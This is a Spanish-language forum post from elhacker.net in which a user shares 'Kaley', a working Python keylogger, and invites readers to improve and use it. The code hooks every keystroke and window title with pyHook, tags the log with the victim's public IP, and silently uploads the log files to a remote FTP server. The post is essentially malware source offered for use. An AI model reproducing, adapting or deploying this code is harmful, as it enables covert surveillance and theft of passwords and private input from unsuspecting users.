elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:14  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Python] Kaley, Keylogger simple en Python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Kaley, Keylogger simple en Python  (Leído 1,072 veces)
Fyrox

Desconectado Desconectado

Mensajes: 21


Ver Perfil
[Python] Kaley, Keylogger simple en Python
« en: 21 Septiembre 2011, 23:24 »

Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código
# coding= utf-8
import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os
 
class Kaley:
   def __init__(self):
       self.current_window = None
       self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
       self.f = ftplib.FTP("server")
       self.f.login("user", "pass")
       self.f.cwd("/html/kaley")
       self.run = False
 
   def getIP(self):
       url = urllib.URLopener()
       resp = url.open("http://automation.whatismyip.com/n09230945.asp")
       html = resp.read(114)
       return html
 
   def getDate(self):
       now = datetime.datetime.now()
       return now.strftime("%Y-%m-%d")
 
   def write(self, text):
       file = open(self.namefile, "a")
       file.write(text)
       file.close()
       if self.run == False:
           thread.start_new_thread(self.upload, ())
 
   def upload(self):
       self.run = True
       time.sleep(5)
       self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
       self.run = False
 
   def stroke(self, event):
       if event.WindowName != self.current_window:
           self.write("\n" + event.WindowName + "\n")
           self.current_window = event.WindowName
       if event.Ascii == 32 or event.Ascii == 9:
            self.write(" ")
       elif event.Ascii == 241 or event.Ascii == 209:
           self.write("Ñ")
       elif event.Ascii == 13:
           self.write("\n")
       else:
           self.write(event.Key)
 
log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()

Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox


« Última modificación: 23 Septiembre 2011, 00:37 por Fyrox » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python]Simple port scanner
Scripting
braulio-- 3 2,596 Último mensaje 8 Enero 2012, 20:04
por tcp_root
(Python)Existen ventanas de entrada y salida de datos en python
Scripting
tonilogar 11 4,346 Último mensaje 29 Noviembre 2009, 00:49
por tonilogar
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 »
Scripting
juh 22 5,571 Último mensaje 16 Octubre 2010, 13:12
por sheevalum
Duda sobre Python Keylogger « 1 2 »
Scripting
mastertux 15 1,939 Último mensaje 3 Abril 2011, 18:38
por 08l00D
[Python] Simple Keylogger
Scripting
Doddy 0 689 Último mensaje 7 Octubre 2011, 01:38
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines